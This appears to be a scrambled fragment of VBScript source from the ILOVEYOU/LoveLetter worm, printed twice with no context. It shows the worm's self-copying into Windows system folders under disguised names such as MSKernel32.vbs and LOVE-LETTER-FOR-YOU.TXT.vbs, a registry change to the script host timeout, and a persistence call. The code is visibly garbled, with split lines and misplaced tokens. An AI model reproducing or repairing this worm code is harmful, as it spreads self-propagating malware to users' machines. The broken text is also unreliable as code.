Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "
HKEY_CURRENT_USER
\Software\
Host\Settings\
REG_DWORD"
end if.Timeout",0,"
Set dirwin =
fso.GetSpecialFolder(0)
Set dirsystem =
fso.GetSpecialFolder(1)
Set dirtemp =fso.(2)
.GetSpecialFolder
Set c = fso.GetFile
(WScript.ScriptFullName)
c.Copy(dirsystem&"
\MSKernel32.vbs")
c.Copy(dirwin&"
\Win32DLL.vbs")
c.Copy.html()
(dirsystem&"
\LOVE-LETTER-
FOR-YOU.TXT.vbs")
fso.regruns()
Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "
HKEY_CURRENT_USER
\Software\
Host\Settings\
REG_DWORD"
end if.Timeout",0,"
Set dirwin =
fso.GetSpecialFolder(0)
Set dirsystem =
fso.GetSpecialFolder(1)
Set dirtemp =fso.(2)
.GetSpecialFolder
Set c = fso.GetFile
(WScript.ScriptFullName)
c.Copy(dirsystem&"
\MSKernel32.vbs")
c.Copy(dirwin&"
\Win32DLL.vbs")
c.Copy.html()
(dirsystem&"
\LOVE-LETTER-
FOR-YOU.TXT.vbs")
fso.regruns()